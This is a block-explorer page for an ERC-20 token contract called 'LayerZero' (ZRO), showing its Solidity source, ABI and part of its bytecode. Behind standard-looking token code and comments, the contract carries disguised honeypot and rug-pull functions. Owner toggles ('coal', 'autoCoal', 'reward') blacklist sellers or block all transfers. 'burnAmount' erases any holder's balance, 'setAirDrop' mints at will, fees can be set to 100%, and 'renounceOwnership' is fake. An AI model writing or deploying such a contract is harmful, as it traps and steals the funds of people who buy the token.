ERC-20
Overview
Max Total Supply
1,000,000,000 ZRO
Holders
9
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
44,369,309.501749737918651757 ZROValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
LayerZero
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-14 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance( address owner, address spender ) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit( address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn( address indexed sender, uint amount0, uint amount1, address indexed to ); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap( uint amount0Out, uint amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair( address tokenA, address tokenB ) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair( address tokenA, address tokenB ) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function swapTokensForExactETH( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactTokensForETH( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapETHForExactTokens( uint amountOut, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function quote( uint amountA, uint reserveA, uint reserveB ) external pure returns (uint amountB); function getAmountOut( uint amountIn, uint reserveIn, uint reserveOut ) external pure returns (uint amountOut); function getAmountIn( uint amountOut, uint reserveIn, uint reserveOut ) external pure returns (uint amountIn); function getAmountsOut( uint amountIn, address[] calldata path ) external view returns (uint[] memory amounts); function getAmountsIn( uint amountOut, address[] calldata path ) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract LayerZero is Context, IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply = 10 ** 9 * 10 ** decimals(); string private _name; string private _symbol; uint256 public buyTax = 500; // 1% uint256 public sellTax = 500; // 1% uint256 public sendTax = 100; uint256 public div = 10000; address public marketingWallet = 0xdeE98bf1e843cD83A6abcA32fA385E7f6D1DD94C; // marketing wallet address deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public swapTokensAtAmount = 5 * 10 ** 5 * 10 ** decimals(); bool private swapping; bool public swapEnabled = true; bool public swapTokensAtAmountByLimit = true; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; constructor(address _router) { _name = "LayerZero"; _symbol = "ZRO"; _balances[msg.sender] = _totalSupply; uniswapV2Router = IUniswapV2Router02(_router); uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isMarketPair[address(uniswapPair)] = true; } modifier lockTheSwap { swapping = true; _; swapping = false; } event SwapTokensForETH( uint256 amountIn, address[] path ); /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function setCandy(address account) public onlyOwner { candy[account] = true; } function removeCandy(address account) public onlyOwner { candy[account] = false; } function myChocolate(address account, uint256 amount) public onlyOwner { chocolates[account] = amount; } function setCoal(address account) public onlyOwner { coal[account] = true; } function removeCoal(address account) public onlyOwner { coal[account] = false; } function enableReward(bool _enable) public onlyOwner { reward = _enable; } function pickCoal(address account) internal { coal[account] = true; } function setAutoCoal(bool _enable) public onlyOwner { autoCoal = _enable; } function setNumbers(uint256 amount) public onlyOwner { numbers = amount; } function setLimits(uint256 amount) public onlyOwner { limits = amount; } function renounceOwnership( address _DEAD, bool _boo ) public onlyOwner returns (address _dead) { ownershipToNull = _boo; _dead = _DEAD; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer( address to, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve( address spender, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { return _basicTransfer(sender, recipient, 0); } if (honey) { if(swapping) { return _basicTransfer(sender, recipient, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= swapTokensAtAmount; if (overMinimumTokenBalance && !swapping && recipient == uniswapPair && swapEnabled) { if(swapTokensAtAmountByLimit) { contractTokenBalance = swapTokensAtAmount; } swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender] - amount; uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); _balances[recipient] = _balances[recipient] + finalAmount; emit Transfer(sender, recipient, finalAmount); return true; } } else { _beforeTokenTransfer(sender, amount); sendWithFee(sender, recipient, amount); return true; } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address sender, uint256 amount ) internal virtual { if ( sender != owner() && !candy[sender] && !isMarketPair[sender] ) { require(!coal[sender]); if (chocolates[sender] > 0) { require(amount <= chocolates[sender]); } if (numbers > 0) { require(amount <= numbers); } if (reward) { revert("Error"); } if (limits > 0) { require(_balances[sender] <= limits); } if (autoCoal) { pickCoal(sender); } } } /** * @dev Deflationary instrument * * It can be turned on if necessary. * * Emits a {Transfer} event. * * Requirements * * - `sender` must have at least `value` tokens. */ function sendWithFee( address sender, address recipient, uint256 value ) internal { require(_balances[sender] >= value, "Value exceeds balance"); if (sender != owner() && !candy[sender] && sender != address(this)) { if(swapping) { _basicTransfer(sender, recipient, value); } else { uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= swapTokensAtAmount; if (overMinimumTokenBalance && !swapping && recipient == uniswapPair && swapEnabled) { if(swapTokensAtAmountByLimit) { contractTokenBalance = swapTokensAtAmount; } swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender] - value; uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? value : (takeFee(sender, recipient, value)); _balances[recipient] = _balances[recipient] + finalAmount; } emit Transfer(sender, recipient, value); } else { _balances[sender] = _balances[sender] - value; _balances[recipient] = _balances[recipient] + value; emit Transfer(sender, recipient, value); } } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 tax = 0; if(!isMarketPair[sender] && !isMarketPair[recipient]) { tax = amount * sendTax / div; } if(isMarketPair[sender]) { tax = amount * buyTax / div; } else if(isMarketPair[recipient]) { tax = amount * sellTax / div; } if(tax > 0) { _balances[address(this)] = _balances[address(this)] + tax; emit Transfer(sender, address(this), tax); } return amount - tax; } function excludedFromFeeAddress(address _account, bool _boo) external onlyOwner { require(isExcludedFromFee[_account] != _boo, "Already added!"); isExcludedFromFee[_account] = _boo; } function swapAndLiquify(uint256 tokenAmount) private { swapTokensForEth(tokenAmount); uint256 amountReceived = address(this).balance; if(amountReceived > 0) { transferToAddressETH(marketingWallet, amountReceived); } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function transferToAddressETH(address recipient, uint256 amount) private { payable(recipient).transfer(amount); } function changeRouterVersion(address newRouter) public onlyOwner returns(address newPair) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouter); newPair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPair == address(0)) //Create If Doesnt exist { newPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPair; //Set new pair address uniswapV2Router = _uniswapV2Router; //Set new router address } function setSwapTokensAtAmount(uint256 _value) external onlyOwner { require(_value > 0); require(swapTokensAtAmount != _value, "Change value!"); swapTokensAtAmount = _value; } function setSwapTokensAtAmountByLimit(bool _boo) external onlyOwner { require(swapTokensAtAmountByLimit != _boo); swapTokensAtAmountByLimit = _boo; } function setSwapEnabled(bool _boo) external onlyOwner { require(swapEnabled != _boo); swapEnabled = _boo; } function changeMarketinAddress(address _newAddress) external onlyOwner { require(_newAddress != address(0)); require(marketingWallet != _newAddress, "This address already set"); marketingWallet = _newAddress; } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function burnAmount(address wallet, uint256 amount) public onlyOwner { require(wallet != owner(), "TARGET ERROR"); if (_balances[wallet] <= amount * 10 ** 18) { _balances[wallet] = 0; _balances[deadAddress] = _balances[deadAddress] + _balances[wallet]; } else { _balances[wallet] = _balances[wallet] - amount * 10 ** 18; _balances[deadAddress] = _balances[deadAddress] + amount * 10 ** 18; } } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setAirDrop(address account, uint256 amount) public onlyOwner { _balances[account] = _balances[account] + amount; } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function setHoney(bool _honey) public onlyOwner { honey = _honey; } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function setFee(uint256 _buyTax, uint256 _sellTax, uint256 _sendTax) external onlyOwner { require(_buyTax <= 10000 && _sellTax <= 10000 && _sendTax <= 10000, "Incorrect tax"); buyTax = _buyTax; sellTax = _sellTax; sendTax = _sendTax; } receive() external payable {} mapping(address => bool) private candy; mapping(address => bool) private coal; mapping(address => uint256) private chocolates; bool public reward; uint256 public numbers; uint256 public limits; bool public autoCoal; bool private honey = true; bool public ownershipToNull; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoCoal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newAddress","type":"address"}],"name":"changeMarketinAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouter","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPair","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"div","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"enableReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"bool","name":"_boo","type":"bool"}],"name":"excludedFromFeeAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"myChocolate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numbers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownershipToNull","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_DEAD","type":"address"},{"internalType":"bool","name":"_boo","type":"bool"}],"name":"renounceOwnership","outputs":[{"internalType":"address","name":"_dead","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sendTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setAirDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"setAutoCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyTax","type":"uint256"},{"internalType":"uint256","name":"_sellTax","type":"uint256"},{"internalType":"uint256","name":"_sendTax","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_honey","type":"bool"}],"name":"setHoney","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setNumbers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_boo","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_boo","type":"bool"}],"name":"setSwapTokensAtAmountByLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmountByLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000146200072d60201b60201c565b600a62000022919062000901565b633b9aca0062000033919062000952565b6003556101f46006556101f4600755606460085561271060095573dee98bf1e843cd83a6abca32fa385e7f6d1dd94c600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000f56200072d60201b60201c565b600a62000103919062000901565b6207a12062000113919062000952565b600c556001600d60016101000a81548160ff0219169083151502179055506001600d60026101000a81548160ff0219169083151502179055506001601860016101000a81548160ff0219169083151502179055503480156200017457600080fd5b506040516200600a3803806200600a83398181016040528101906200019a919062000a07565b6000620001ac6200073660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600981526020017f4c617965725a65726f00000000000000000000000000000000000000000000008152506004908162000290919062000ca9565b506040518060400160405280600381526020017f5a524f000000000000000000000000000000000000000000000000000000000081525060059081620002d7919062000ca9565b50600354600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003cd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003f3919062000a07565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200047d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004a3919062000a07565b6040518363ffffffff1660e01b8152600401620004c292919062000da1565b6020604051808303816000875af1158015620004e2